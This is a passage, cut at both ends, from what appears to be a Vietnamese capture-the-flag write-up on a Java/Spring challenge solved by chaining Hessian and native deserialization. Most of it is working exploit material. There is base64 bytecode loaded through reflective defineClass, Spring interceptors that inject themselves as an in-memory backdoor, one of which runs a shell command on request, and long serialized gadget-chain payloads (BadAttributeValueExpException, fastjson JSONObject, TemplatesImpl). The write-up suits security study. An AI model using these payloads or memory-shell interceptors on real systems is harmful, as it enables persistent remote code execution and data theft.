SZXF1ZXN0AQANZ2V0UmVxdWVzdFVSSQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N0cmluZwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEACWFkZEhlYWRlcgEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAFZmx1c2gBAAVjbG9zZQEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAA9qYXZhL2xhbmcvQ2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHNpemUBAAMoKUkBABUoSSlMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAANhZGQBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAiACwAAQAtAAEACgAuAC8AAAAFAAEAMAAxAAMAMgAAAGAABQAFAAAACiorLC0ZBLcAAbEAAAACADMAAAAKAAIAAAAPAAkAEAA0AAAANAAFAAAACgA1ADYAAAAAAAoANwA4AAEAAAAKADkAOgACAAAACgA7ADwAAwAAAAoAPQA+AAQAPwAAAAQAAQApAEAAAAARBAA3AAAAOQAAADsAAAA9AAAAAQBBAEIAAwAyAAAAYAAFAAUAAAAKKissLRkEtwACsQAAAAIAMwAAAAoAAgAAABQACQAVADQAAAA0AAUAAAAKADUANgAAAAAACgA3ADgAAQAAAAoAOQA6AAIAAAAKADsAPAADAAAACgBDAEQABAA/AAAABAABACkAQAAAABEEADcAAAA5AAAAOwAAAEMAAAABAEUARgADADIAAADXAAMABgAAAFAruQADAQASBLYABZkAQxIGOgS7AAdZGQS3AAgSCbYACrYACzoFLBIMEg25AA4DACy5AA8BABkFtgAQLLkADwEAtgARLLkADwEAtgASA6wErAAAAAMAMwAAACYACQAAABoADgAcABIAHQAlAB4ALwAfADoAIABDACEATAAiAE4AJAA0AAAAPgAGABIAPABHAEgABAAlACkASQBIAAUAAABQADUANgAAAAAAUAA3ADgAAQAAAFAAOQA6AAIAAABQADsAPAADAEoAAAAFAAH7AE4APwAAAAQAAQApAEAAAAANAwA3AAAAOQAAADsAAAABAEsATAABADIAAAGDAAMABgAAAIAqtwATuAAUEhUDuQAWAwDAABdMKxIYuQAZAgDAABpNEhoSG7YAHE4tBLYAHS0stgAewAAfOgQDNgUVBRkEtgAgogAfGQQVBbYAIcEAIpkADLIAIxIktgAlsYQFAaf/3bsAIlkSJrcAJzoFGQQZBbYAKFenAA1MuwAqWSu3ACu/sQACAAQAWAB1ACkAWQByAHUAKQAEADMAAABGABEAAAAoAAQAKgATACsAHwAsACcALQAsAC4ANgAwAEMAMQBQADIAWAAzAFkAMABfADYAagA3AHIAOwB1ADkAdgA6AH8APQA0AAAAUgAIADkAJgBNAC8ABQATAF8ATgBPAAEAHwBTAFAAUQACACcASwBSAFMAAwA2ADwAVABVAAQAagAIAFYANgAFAHYACQBXAEQAAQAAAIAANQA2AAAAWAAAAAwAAQA2ADwAVABZAAQASgAAACsABf8AOQAGBwBaBwBbBwBcBwBdBwBeAQAAH/oABf8AFQABBwBaAAEHAF8JAAIASwBgAAIAMgAAADkAAQACAAAABSq3ABOxAAAAAgAzAAAABgABAAAAPgA0AAAAFgACAAAABQA1ADYAAAAAAAUAYQBIAAEAQAAAAAUBAGEAAAABAGIAAAACAGM=";
        byte[] bytes = new byte[0];
        try {
            bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);

            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            //classLoader.loadClass(className);
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, className, bytes, 0, bytes.length);
            classLoader.loadClass(className).newInstance();

        } catch (Exception e) {
            throw new RuntimeException(e);
        }

        return "cc";
    }

    @RequestMapping(value = { "/gen" })
    @ResponseBody
    public String gen() throws IOException, InstantiationException, IllegalAccessException, NotFoundException, CannotCompileException, ClassNotFoundException {

       return "done";

    }
}

ExploitInterceptor.java:

import org.springframework.context.ApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Scanner;

public class ExploitInterceptor implements HandlerInterceptor  {
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
            throws Exception {
            if (request.getRequestURI().equals("/gen")) {
                ;
                String code = "{\"code\":\"200\",\"message\":\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABdAApb3JnLmpib3NzLnByb3h5LmVqYi5 oYW5kbGUuSG9tZUhhbmRsZUltcGx4\"}";
                String result = new Scanner(code).useDelimiter("\\A").next();
                response.addHeader("Content-Type", "application/json;charset=UTF-8");
                response.getWriter().write(result);
                response.getWriter().flush();
                response.getWriter().close();
                return false;
            }
            return true;

    }
    
    public ExploitInterceptor(){
        try {
            ApplicationContext context = (ApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            org.springframework.web.servlet.handler.AbstractHandlerMapping requestMappingHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
            Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            ArrayList<Object> adaptedInterceptors = (ArrayList <Object>) field.get(requestMappingHandlerMapping);

            for(int i = 0; i < adaptedInterceptors.size(); i++){
                if (adaptedInterceptors.get(i) instanceof ExploitInterceptor){
                    System.out.println("ExploitInterceptor has been added");
                    return;
                }
            }
            ExploitInterceptor exploitInterceptor = new ExploitInterceptor("blabla");
            adaptedInterceptors.add(exploitInterceptor);

        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }
    private ExploitInterceptor(String a){}

}

Access đến /exp và sau đó /gen

=> Interceptor được add thành công

Final exploit script

Tóm lại cách solve bài này sẽ như sau:

  • Trigger hessian deserialization bên phía registry
  • Từ registry dùng javascript engine add một malicious interceptor tại /blacklist/jdk/get với 2 nhiệm vụ:
    Update denyClasses thành List của class bất kì (để tiện cho việc khai thác) ở lần GET thứ nhất
    Trả về payload khai thác native deserialization bên phía server ở lần GET thứ 2 - payload này sẽ thực hiện add một malicious interceptor tại /status để trả về flag.

Về payload khai thác deseri bên phía server, có thể sử dụng JSONObject.toString() để gọi đến TemplatesImpl.getOutputProperties(), và dùng BadAttributeValueExpException.readObject() để trigger JSONObject.toString().

Full script

Exploit2Interceptor.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.context.ApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Scanner;

public class Exploit2Interceptor extends AbstractTranslet implements HandlerInterceptor  {


    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
            throws Exception {


        if (request.getRequestURI().equals("/status")) {
            InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "cat /flag"}).getInputStream();
            String output = new Scanner(in).useDelimiter("\\A").next();

            String result = "{\"code\":\"200\",\"message\":\""+ Base64.getEncoder().encodeToString(output.getBytes())+"\"}";
            response.addHeader("Content-Type","application/json;charset=UTF-8");
            response.getWriter().write(result);
            response.getWriter().flush();
            response.getWriter().close();
            return false;
        }
        return true;

    }

    public Exploit2Interceptor(){
        try {
            ApplicationContext context = (ApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            org.springframework.web.servlet.handler.AbstractHandlerMapping requestMappingHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
            Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            ArrayList<Object> adaptedInterceptors = (ArrayList <Object>) field.get(requestMappingHandlerMapping);

            for(int i = 0; i < adaptedInterceptors.size(); i++){
                if (adaptedInterceptors.get(i) instanceof Exploit2Interceptor){
                    System.out.println("Exploit2Interceptor has been added");
                    return;
                }
            }
            Exploit2Interceptor exploit2Interceptor = new Exploit2Interceptor("blabla");
            adaptedInterceptors.add(exploit2Interceptor);

        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }
    private Exploit2Interceptor(String a){}

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

ExploitInterceptor.java

import com.kenai.jaffl.struct.Struct;
import org.springframework.context.ApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Scanner;

public class ExploitInterceptor implements HandlerInterceptor  {

    private static  int counter = 0;

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
            throws Exception {
            String code = "";
            if (request.getRequestURI().equals("/blacklist/jdk/get")) {
                if(counter == 0){
                    // for updating denyClasses
                    code = "{\"code\":\"200\",\"message\":\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABdAApb3JnLmpib3NzLnByb3h5LmVqYi5oYW5kbGUuSG9tZUhhbmRsZUltcGx4\"}";
                }
                else {
                    // for attacking server
                    String message = "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAHHQABE1haW50AAlNYWluLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgAfY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTk9iamVjdAAAAAAAAAABAgABTAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQABHh4eHhzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AAVMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAFrzK/rq+AAAANAEHCwA8AH8LADwAgAsAgQCCCACDCgAHAIQKAIUAhgcAhwgAiAgAiQgAigoAhQCLCgCMAI0HAI4KAA0AjwgAkAoADQCRCgANAJIHAJMKABIAlAgAlQoAEgCWCgCXAJgKAAcAmQoAmgCbCACcCgASAJ0IAJ4IAJ8LAKAAoQsAoACiCgCjAKQKAKMApQoAowCmCgA7AJQKAKcAqAgAqQsAqgCrBwCsCABgCwAmAK0HAK4IAGQKAK8AsAoAsQCyCgCxALMHALQKAC4AtQoALgC2BwC3CQC4ALkIALoKALsAvAgAvQoAMQC+CgAuAL8HAMAHAMEKADkAwgcAwwcAxAEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTEV4cGxvaXQySW50ZXJjZXB0b3I7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAZvdXRwdXQBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlAQAGPGluaXQ+AQADKClWAQABaQEAAUkBAAdjb250ZXh0AQAwTG9yZy9zcHJpbmdmcmFtZXdvcmsvY29udGV4dC9BcHBsaWNhdGlvbkNvbnRleHQ7AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAQExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZzsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQATZXhwbG9pdDJJbnRlcmNlcHRvcgEAAWUBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQApTGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsHALcHAKwHAK4HAMUHALQHAMABABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAFhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAxgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAYRXhwbG9pdDJJbnRlcmNlcHRvci5qYXZhDAA9AD4MAE4ATwcAxwwAyADJAQAHL3N0YXR1cwwAygDLBwDMDADNAM4BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQAJY2F0IC9mbGFnDADPANAHANEMANIA0wEAEWphdmEvdXRpbC9TY2FubmVyDABaANQBAAJcQQwA1QDWDADXAMkBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWgBbAQAZeyJjb2RlIjoiMjAwIiwibWVzc2FnZSI6IgwA2ADZBwDaDADbAN4MAN8A4AcA4QwA4gDjAQACIn0MAOQAyQEADENvbnRlbnQtVHlwZQEAHmFwcGxpY2F0aW9uL2pzb247Y2hhcnNldD1VVEYtOAcA5QwA5gDnDADoAOkHAOoMAOsAcAwA7ABbDADtAFsHAO4MAO8A8AEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcA8QwA8gDzAQAub3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dAwA9AD1AQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHAPYMAPcA+AcAxQwA+QD6DAD7APwBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAD9AP4MAPsA/wEAE0V4cGxvaXQySW50ZXJjZXB0b3IHAQAMAQEBAgEAHlRlbXBJbnRlcmNlcHRvciBoYXMgYmVlbiBhZGRlZAcBAwwBBABwAQAGYmxhYmxhDABaAHAMAQUAywEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAWgEGAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQANZ2V0UmVxdWVzdFVSSQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEACGdldEJ5dGVzAQAEKClbQgEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlhZGRIZWFkZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWZsdXNoAQAFY2xvc2UBADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAARzaXplAQADKClJAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQADYWRkAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAMQA7AAEAPAAAAAcAAQA9AD4AAwA/AAAAYAAFAAUAAAAKKissLRkEtwABsQAAAAIAQAAAAAoAAgAAABgACQAZAEEAAAA0AAUAAAAKAEIAQwAAAAAACgBEAEUAAQAAAAoARgBHAAIAAAAKAEgASQADAAAACgBKAEsABABMAAAABAABADgATQAAABEEAEQAAABGAAAASAAAAEoAAAABAE4ATwADAD8AAABgAAUABQAAAAoqKywtGQS3AAKxAAAAAgBAAAAACgACAAAAHQAJAB4AQQAAADQABQAAAAoAQgBDAAAAAAAKAEQARQABAAAACgBGAEcAAgAAAAoASABJAAMAAAAKAFAAUQAEAEwAAAAEAAEAOABNAAAAEQQARAAAAEYAAABIAAAAUAAAAAEAUgBTAAMAPwAAASMABQAHAAAAjiu5AAMBABIEtgAFmQCBuAAGBr0AB1kDEghTWQQSCVNZBRIKU7YAC7YADDoEuwANWRkEtwAOEg+2ABC2ABE6BbsAElm3ABMSFLYAFbgAFhkFtgAXtgAYtgAVEhm2ABW2ABo6BiwSGxIcuQAdAwAsuQAeAQAZBrYAHyy5AB4BALYAICy5AB4BALYAIQOsBKwAAAADAEAAAAAqAAoAAAAlAA4AJgAsACcAPwApAGMAKgBtACsAeAAsAIEALQCKAC4AjAAwAEEAAABIAAcALABgAFQAVQAEAD8ATQBWAFcABQBjACkAWABXAAYAAACOAEIAQwAAAAAAjgBEAEUAAQAAAI4ARgBHAAIAAACOAEgASQADAFkAAAAFAAH7AIwATAAAAAQAAQA4AE0AAAANAwBEAAAARgAAAEgAAAABAFoAWwABAD8AAAGDAAMABgAAAIAqtwAiuAAjEiQDuQAlAwDAACZMKxInuQAoAgDAAClNEikSKrYAK04tBLYALC0stgAtwAAuOgQDNgUVBRkEtgAvogAfGQQVBbYAMMEAMZkADLIAMhIztgA0sYQFAaf/3bsAMVkSNbcANjoFGQQZBbYAN1enAA1MuwA5WSu3ADq/sQACAAQAWAB1ADgAWQByAHUAOAAEAEAAAABGABEAAAA0AAQANgATADcAHwA4ACcAOQAsADoANgA8AEMAPQBQAD4AWAA/AFkAPABfAEIAagBDAHIARwB1AEUAdgBGAH8ASQBBAAAAUgAIADkAJgBcAF0ABQATAF8AXgBfAAEAHwBTAGAAYQACACcASwBiAGMAAwA2ADwAZABlAAQAagAIAGYAQwAFAHYACQBnAFEAAQAAAIAAQgBDAAAAaAAAAAwAAQA2ADwAZABpAAQAWQAAACsABf8AOQAGBwBqBwBrBwBsBwBtBwBuAQAAH/oABf8AFQABBwBqAAEHAG8JAAIAWgBwAAIAPwAAADkAAQACAAAABSq3ACKxAAAAAg